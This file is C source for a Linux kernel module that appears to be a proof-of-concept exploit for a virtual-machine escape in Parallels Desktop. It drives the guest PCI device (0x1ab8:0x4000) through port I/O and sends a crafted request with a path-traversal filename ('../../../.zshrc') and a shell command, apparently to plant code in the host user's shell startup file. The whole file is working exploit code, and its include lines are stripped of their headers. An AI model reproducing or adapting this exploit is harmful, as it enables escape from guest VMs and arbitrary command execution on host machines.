#include #include #include u16 baseport; struct pci_dev* pcidev; #define TG_PORT_STATUS 0 #define TG_PORT_SUBMIT 8 #define INLINE_SIZE(sz) (((sz)+7)&~7) #define BUFFER_SIZE(sz) (((sz)+0xfff)&~0xfff) typedef struct _TG_PAGED_BUFFER { u64 Va; u32 ByteCount; u32 Writable:1; u32 Reserved:31; u64 Pages[0]; } TG_PAGED_BUFFER; typedef struct _TG_PAGED_REQUEST { u32 Request; u32 Status; u32 RequestSize; u16 InlineByteCount; u16 BufferCount; u64 RequestPages[1]; // inline bytes // TG_PAGED_BUFFER buffers[] } TG_PAGED_REQUEST; void outq(u64 val, u16 port) { if (val>>32) outl(val>>32, port+4); outl(val, port); } // assumes buffer addrs will be page aligned u64 calc_size(u32 inln, u32 bufcount, u64 totbufsz) { u64 dsize, dpages; totbufsz = BUFFER_SIZE(totbufsz); dsize = sizeof(TG_PAGED_REQUEST)+INLINE_SIZE(inln); dsize += bufcount*sizeof(TG_PAGED_BUFFER); dsize += 8*(totbufsz>>12); dpages = 1; while (1) { u64 delta = 1+((dsize-1)>>12) - dpages; if (!delta) break; dpages += delta; dsize += delta*8; } return dsize; } void tg_submit(u64 phys, TG_PAGED_REQUEST* req, u32 sync) { outq(phys, baseport+TG_PORT_SUBMIT); if (sync) while (req->Status == -1) yield(); //printk(KERN_INFO "status: 0x%x\n", req->Status); } // inbuf/outbuf should be kmalloc'd void twobuf_req(u32 op, void *inln, u64 inlnsz, void* inbuf, u64 inlen, void* outbuf, u64 outlen, u32 sync) { u64 dsize = calc_size(inlnsz, 2, BUFFER_SIZE(inlen)+BUFFER_SIZE(outlen)); u64 dpages = (dsize+0xfff)>>12; TG_PAGED_REQUEST* req = kzalloc(dsize, GFP_KERNEL); TG_PAGED_BUFFER* buf = (void*)&req->RequestPages[dpages]+INLINE_SIZE(inlnsz); u64 inphys = virt_to_phys(inbuf), outphys = virt_to_phys(outbuf), reqphys = virt_to_phys(req); u32 i; if (!req) { printk(KERN_WARNING "[x] couldnt alloc 0x%llx bytes for req\n", dsize); return; } req->Request = op; req->Status = -1; req->RequestSize = dsize; req->InlineByteCount = inlnsz; req->BufferCount = 2; memcpy((void *)&req->RequestPages[dpages], inln, inlnsz); buf->Va = inphys; buf->ByteCount = inlen; buf->Writable = 1; for (i = 0; i < (buf->ByteCount+0xfff)>>12; i++) buf->Pages[i] = (inphys>>12)+i; buf = (void*)&buf->Pages[(buf->ByteCount+0xfff)>>12]; buf->Va = outphys; buf->ByteCount = outlen; buf->Writable = 1; for (i = 0; i < (buf->ByteCount+0xfff)>>12; i++) buf->Pages[i] = (outphys>>12)+i; for (i = 0; i < dpages; i++) req->RequestPages[i] = (reqphys>>12)+i; tg_submit(reqphys, req, sync); //kfree(req); } void exploit(void) { char inln[0x200]; char *CR = kzalloc(0x1000, GFP_KERNEL); char *pbProcName = kzalloc(0x1000, GFP_KERNEL); memset(inln, 0, sizeof(inln)); *(uint32_t *)(inln + 0) = 1; *(uint32_t *)(inln + 8) = 4; *(uint32_t *)(inln + 0x1c) = 1; *(uint32_t *)(inln + 0x110) = 1; strcpy(CR, "open /System/Applications/Calculator.app\n"); strcpy(pbProcName, "../../../.zshrc"); twobuf_req(0x8323, inln, 0x200, CR, strlen(CR), pbProcName, strlen(pbProcName)+1, 0); //kfree(CR); //kfree(pbProcName); } int tg_probe(struct pci_dev* dev, const struct pci_device_id* id) { int ret; pcidev = dev; ret = pci_enable_device(dev); if (ret) { printk(KERN_WARNING "[x] failed to enable device: %d\n", ret); return ret; } printk(KERN_INFO "[+] device enabled\n"); ret = pci_set_dma_mask(dev, DMA_BIT_MASK(64)); if (ret) { printk(KERN_WARNING "[x] failed to set dma mask: %d\n", ret); return ret; } ret = pci_request_region(dev, 0, "prl_exp_portio"); if (ret) { printk(KERN_WARNING "[x] failed to request portio region: %d\n", ret); return ret; } baseport = pci_resource_start(dev, 0); printk(KERN_INFO "baseport: 0x%hx\n", baseport); exploit(); return 0; } void tg_remove(struct pci_dev* dev) { pci_release_region(dev, 0); pci_disable_device(dev); } static struct pci_device_id pci_ids[] = { {PCI_DEVICE(0x1ab8, 0x4000)}, {0} }; static struct pci_driver tg_driver = { .name = "prl_exploit_driver", .id_table = pci_ids, .probe = tg_probe, .remove = tg_remove }; static int __init init_tg_module(void) { int ret; ret = pci_register_driver(&tg_driver); if (ret) { printk(KERN_WARNING "[x] failed to register driver: %d\n", ret); return ret; } return 0; } static void __exit exit_tg_module(void) { printk(KERN_INFO "[+] unregistering driver\n"); pci_unregister_driver(&tg_driver); } module_init(init_tg_module); module_exit(exit_tg_module); MODULE_LICENSE("GPL");